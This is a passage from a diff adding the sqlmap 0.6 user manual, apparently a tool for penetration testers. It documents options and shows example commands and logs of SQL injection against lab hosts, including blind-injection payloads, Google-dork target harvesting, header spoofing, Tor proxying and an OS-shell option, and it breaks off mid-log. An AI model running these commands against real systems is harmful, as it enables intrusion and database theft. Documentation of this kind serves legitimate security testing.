+    These options can be used to access the back-end database management
+    system file system taking advantage of native DBMS functions or
+    specific DBMS design weaknesses.
+
+    --read-file=RFILE   Read a specific OS file content (only on MySQL)
+    --write-file=WFILE  Write to a specific OS file (not yet available)
+
+  Operating system access:
+    This option can be used to access the back-end database management
+    system operating system taking advantage of specific DBMS design
+    weaknesses.
+
+    --os-shell          Prompt for an interactive OS shell (only on PHP/MySQL
+                        environment with a writable directory within the web
+                        server document root for the moment)
+
+  Miscellaneous:
+    --union-test        Test for UNION SELECT (inband) SQL injection
+    --union-use         Use the UNION SELECT (inband) SQL injection to
+                        retrieve the queries output. No need to go blind
+    --eta               Retrieve each query output length and calculate the
+                        estimated time of arrival in real time
+    -v VERBOSE          Verbosity level: 0-5 (default 0)
+    --update            Update sqlmap to the latest stable version
+    -s SESSIONFILE      Save and resume all data retrieved on a session file
+    -c CONFIGFILE       Load options from a configuration INI file
+    --save              Save options on a configuration INI file
+
+
+

+ + +

5.1 Request +

+ +

Target URL

+ +

Option: -u or --url

+ +

To run sqlmap on a single target URL.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2"
+
+[...]
+back-end DBMS:    MySQL >= 5.0.0
+
+
+

+ + +

Target URL and verbosity

+ +

Option: -v

+ +

Verbose options can be used to set the verbosity level of output messages. +There exist six levels. +The default level is 0 (silent) in which only warnings, errors and +tracebacks, if they occur, will be shown. Level 1 shows also info +messages, level 2 show also debug messages, level 3 show also HTTP +requests with all HTTP headers sent, level 4 show also HTTP responses +headers and level 5 show also HTTP responses page content.

+ +

Example on a MySQL 5.0.51 target (verbosity level 1):

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 1
+
+[hh:mm:01] [INFO] testing connection to the target url
+[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:02] [INFO] url is stable
+[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic
+[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:02] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:02] [INFO] testing MySQL
+[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53))
+[hh:mm:02] [INFO] retrieved: 55
+[hh:mm:02] [INFO] performed 20 queries in 0 seconds
+[hh:mm:02] [INFO] confirming MySQL
+[hh:mm:02] [INFO] query: LENGTH(CHAR(53))
+[hh:mm:02] [INFO] retrieved: 1
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 5
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+back-end DBMS:    MySQL >= 5.0.0
+
+
+

+ +

Example on a MySQL 5.0.51 target (verbosity level 2):

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 2
+
+[hh:mm:34] [DEBUG] initializing the configuration
+[hh:mm:34] [DEBUG] initializing the knowledge base
+[hh:mm:34] [DEBUG] cleaning up configuration parameters
+[hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:34] [DEBUG] creating HTTP requests opener object
+[hh:mm:34] [DEBUG] parsing XML queries file
+[hh:mm:34] [INFO] testing connection to the target url
+[hh:mm:34] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:35] [INFO] url is stable
+[hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic
+[...]
+
+
+

+ +

Example on a MySQL 5.0.51 target (verbosity level 3):

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 3
+
+[...]
+[hh:mm:28] [INFO] testing connection to the target url
+[hh:mm:28] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+[hh:mm:29] [INFO] testing MySQL
+[hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:29] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
+CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+

+ +

Example on a MySQL 5.0.51 target (verbosity level 4):

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 4
+
+[...]
+[hh:mm:32] [INFO] testing connection to the target url
+[hh:mm:32] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:00:32 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 127
+Connection: close
+Content-Type: text/html
+[...]
+[hh:mm:33] [INFO] testing MySQL
+[hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:33] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
+CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:00:33 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 75
+Connection: close
+Content-Type: text/html
+[...]
+
+
+

+ +

Example on a MySQL 5.0.51 target (verbosity level 5):

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 5
+
+[...]
+[hh:mm:23] [INFO] testing connection to the target url
+[hh:mm:23] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:02:23 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 127
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html>
+[...]
+[hh:mm:24] [INFO] testing MySQL
+[hh:mm:24] [INFO] query: CONCAT(CHAR(51), CHAR(51))
+[hh:mm:24] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
+CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:02:24 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 75
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+</table>
+</body></html>
+[...]
+
+
+

+ + +

Process Google dork results as target urls

+ +

Option: -g

+ +

Rather than providing a target URL it is also possible to test and inject +on GET parameters on the results of your Google dork.

+

This option makes sqlmap negotiate with the search engine its session +cookie to be able to perform a search, then sqlmap will retrieve Google +first 100 results for the Google dork expression with GET parameters +asking you if you want to test and inject on each possible affected URL.

+ +

Example of Google dorking with expression site:yourdomain.com +inurl:example.php:

+

+

+
+$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1
+
+[hh:mm:38] [INFO] first request to Google to get the session cookie
+[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are 
+testable hosts
+[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this 
+url? [y/N/q] n
+[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this 
+url? [y/N/q] n
+[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you 
+want to test this url? [y/N/q] y
+[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483
+[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
+[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
+[hh:mm:53] [INFO] GET parameter 'today' is dynamic
+[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
+[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
+[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
+[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
+[...]
+
+
+

+ + +

Testable parameter(s)

+ +

Option: -p

+ +

By default sqlmap tests all GET parameters, POST +parameters, HTTP Cookie header values and HTTP User-Agent +header value for dynamicity and SQL injection vulnerability, but it is +possible to manually specificy the parameter(s) you want sqlmap to perform +tests on comma separeted in order to skip dynamicity tests and perform SQL +injection test and inject directly only against the provided parameter(s).

+

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+  -p id
+
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
+[...]
+
+
+

+ +

Or, if you want to provide more than one parameter, for instance:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+  -p "cat,id"
+
+
+

+ +

You can also test only the HTTP User-Agent header.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+  -p user-agent --user-agent "sqlmap/0.6 (http://sqlmap.sourceforge.net)"
+
+[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
+[hh:mm:40] [INFO] testing connection to the target url
+[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:41] [INFO] url is stable
+[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
+[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
+[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:41] [INFO] testing MySQL
+[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:41] [INFO] retrieved: 44
+[hh:mm:41] [INFO] performed 20 queries in 0 seconds
+[hh:mm:41] [INFO] confirming MySQL
+[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:41] [INFO] retrieved: 4
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS:  MySQL >= 5.0.0
+
+
+

+ + +

HTTP method: GET or POST

+ +

Options: --method and --data

+ +

By default the HTTP method used to perform HTTP requests is GET, +but you can change it to POST and provide the data to be sent +through POST request. Such data, being those parameters, are +tested for SQL injection like the GET parameters.

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/oracle/post_int.php --method POST \
+  --data "id=1&cat=2"
+
+[hh:mm:53] [INFO] testing connection to the target url
+[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:54] [INFO] url is stable
+[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
+[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
+[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
+[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
+[hh:mm:54] [INFO] testing if POST parameter 'cat' is dynamic
+[hh:mm:54] [WARNING] POST parameter 'cat' is not dynamic
+[...]
+[hh:mm:54] [INFO] testing Oracle
+[hh:mm:54] [INFO] query: LENGTH(SYSDATE)
+[hh:mm:54] [INFO] retrieved: 9
+[hh:mm:54] [INFO] performed 13 queries in 0 seconds
+[hh:mm:54] [INFO] confirming Oracle
+[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
+[hh:mm:55] [INFO] performed 76 queries in 0 seconds
+back-end DBMS:    Oracle
+
+
+

+ + +

HTTP Cookie header

+ +

Option: --cookie

+ +

This feature can be useful in two scenarios:

+

+

    +
  • The web application requires authentication based upon cookies and +you have such data.
  • +
  • You want to test for and exploit SQL injection on such header +values.
  • +
+

+ +

The steps to go through in the second scenario are the following:

+

+

    +
  • On Firefox web browser login on the web authentication form while +dumping URL requests with +TamperData browser's extension.
  • +
  • In the horizontal box of the extension select your authentication +transaction then in the left box on the bottom click with the right button +on the Cookie value, then click on Copy to save its +value to the clipboard.
  • +
  • Go back to your shell and run sqlmap.
  • +
+

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \
+  "id=1;cat=2" -v 1
+
+[hh:mm:37] [INFO] testing connection to the target url
+[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:38] [INFO] url is stable
+[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
+[...]
+
+
+

+ +

Note that the HTTP Cookie header values are separated by a +; character, not by an &.

+ +

If the web application at first HTTP response has within the HTTP headers +a Set-Cookie header, sqlmap will automatically use it in all HTTP +requests as the HTTP Cookie header and also test for SQL +injection on these values.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
+
+[...]
+[hh:mm:39] [INFO] testing connection to the target url
+[hh:mm:39] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/get_str.asp?name=luther HTTP/1.1
+Host: 192.168.1.125:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
+Connection: close
+
+[...]
+[hh:mm:40] [INFO] url is stable
+[...]
+[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
+[hh:mm:40] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/get_str.asp?name=luther HTTP/1.1
+Host: 192.168.1.125:80
+Cookie: ASPSESSIONIDSABTRCAS=469
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
+[...]
+
+
+

+ +

If you provide an HTTP Cookie header value and the target URL +sends an HTTP Set-Cookie header, sqlmap asks you which one to use +in the following HTTP requests.

+ +

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"
+
+[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
+own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
+values that you provided? [Y/n] 
+
+
+

+ + +

HTTP Referer header

+ +

Option: --referer

+ +

It is possible to fake the HTTP Referer header value with this +option. By default no HTTP Referer heder is sent in HTTP +requests.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \
+  "http://www.google.com" -v 3
+
+[...]
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Referer: http://www.google.com
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+

+ + +

HTTP User-Agent header

+ +

Options: --user-agent and -a

+ +

By default sqlmap perform HTTP requests providing the following HTTP +User-Agent header value:

+

+

+
+sqlmap/0.6 (http://sqlmap.sourceforge.net)
+
+
+

+ +

It is possible to fake it with the --user-agent option.

+ +

Example on an Oracle XE 10.2.0.1 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+  --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
+
+[...]
+[hh:mm:02] [INFO] testing connection to the target url
+[hh:mm:02] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/oracle/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
+Connection: close
+[...]
+
+
+

+ +

Providing a text file, ./txt/user-agents.txt or any other +file containing a list of at least one user agent, to the -a +option, sqlmap will randomly select a User-Agent from the file +and use it for all HTTP requests.

+ +

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+  -a "./txt/user-agents.txt"
+
+[hh:mm:00] [DEBUG] initializing the configuration
+[hh:mm:00] [DEBUG] initializing the knowledge base
+[hh:mm:00] [DEBUG] cleaning up configuration parameters
+[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
+[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt': 
+Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) 
+[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:00] [DEBUG] creating HTTP requests opener object
+[hh:mm:00] [DEBUG] parsing XML queries file
+[hh:mm:00] [INFO] testing connection to the target url
+[hh:mm:00] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) 
+Connection: close
+[...]
+
+
+

+ +

Note that the HTTP User-Agent header is tested against SQL +injection even if you do not overwrite the default sqlmap HTTP +User-Agent header value.

+ + +

HTTP Basic and Digest authentications

+ +

Options: --auth-type and --auth-cred

+ +

These options can be used to specify which HTTP authentication type the +web server implements and the valid credentials to be used to perfom all +HTTP requests to the target URL. +The two valid types are Basic and Digest and the +credentials' syntax is username:password.

+ +

Examples on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \
+  --auth-type Basic --auth-cred "testuser:testpass" -v 3
+
+[...]
+[hh:mm:28] [INFO] testing connection to the target url
+[hh:mm:28] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&cat=2" \
+  --auth-type Digest --auth-cred "testuser:testpass" -v 3
+
+[...]
+[hh:mm:48] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/digest/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Authorization: Digest username="testuser", realm="Testing digest authentication", 
+nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f", 
+uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", 
+response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, 
+cnonce="df1c0902c931b640"
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+

+ + +

HTTP proxy

+ +

Option: --proxy

+ +

It is possible to provide an anonymous HTTP proxy address to pass by the +HTTP requests to the target URL. The syntax of HTTP proxy value is +http://url:port.

+ +

Example on a PostgreSQL 8.2.7 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
+  --proxy "http://127.0.0.1:3128"
+
+[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
+[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
+back-end DBMS:    PostgreSQL
+
+
+

+ +

Instead of using a single anonymous HTTP proxy server to pass by, you can +configure a +Tor client together +with +Privoxy on your machine +as explained on the +Tor client guide then run sqlmap as follows:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
+  --proxy "http://127.0.0.1:8118"
+
+
+

+ +

Note that 8118 is the default Privoxy port, adapt it to your +settings.

+ + +

Concurrent HTTP requests

+ +

Option: --threads

+ +

It is possible to specify the number of maximum concurrent HTTP requests +that sqlmap can start when it uses the blind SQL injection technique to +retrieve the query output. +This feature relies on the +multithreading concept and inherits both its pro and its cons.

+ +

Examples on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+  -b --threads 3
+
+[...]
+back-end DBMS:  MySQL >= 5.0.0
+
+[hh:mm:08] [INFO] fetching banner
+[hh:mm:08] [INFO] retrieved the length of query output: 18
+[hh:mm:09] [INFO] query: IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32))
+[hh:mm:09] [INFO] starting 3 threads
+[hh:mm:09] [INFO] retrieved: 5.0.51a-3ubuntu5.2
+[hh:mm:09] [INFO] performed 132 queries in 0 seconds
+banner:    '5.0.51a-3ubuntu5.2'
+
+
+

+ +

As you can see, sqlmap first calculates the length of the query output, +then starts three threads. Each thread is assigned to retrieve one +character of the query output. The thread then ends after approximately +seven HTTP requests, the maximum to retrieve a query output character.

+ + +

5.2 Injection +

+ +

String match

+ +

Option: --string

+ +

By default the distinction of a True query by a False one (basic concept +for standard blind SQL injection attacks) is done comparing injected pages +content MD5 hash with the original not-injected page content MD5. Not +always this concept works because sometimes the page content changes at +each refresh, for instance when the page has a counter, a dynamic +advertisment banner or any other part of the HTML which is render +dynamically and might change in time not only consequently to user's +input. +To bypass this limit, sqlmap makes it possible to manually provide a +string which is always present on the not-injected page +and on all True injected query pages, but that it is not +on the False ones. +Such information is easy for an user to retrieve, simply try to inject on +the affected URL parameter an invalid value and compare original output +with the wrong output to identify which string is on True page only. +This way the distinction will be based upon string match and not page MD5 +hash comparison.

+

Example on a MySQL 5.0.51 target:

+

+

+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
+  -v 5
+
+[...]
+[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:50] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:50 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Connection: close
+Transfer-Encoding: chunked
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996190</p>
+
+[hh:mm:51] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:51 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 161
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996191</p>
+
+[hh:mm:51] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
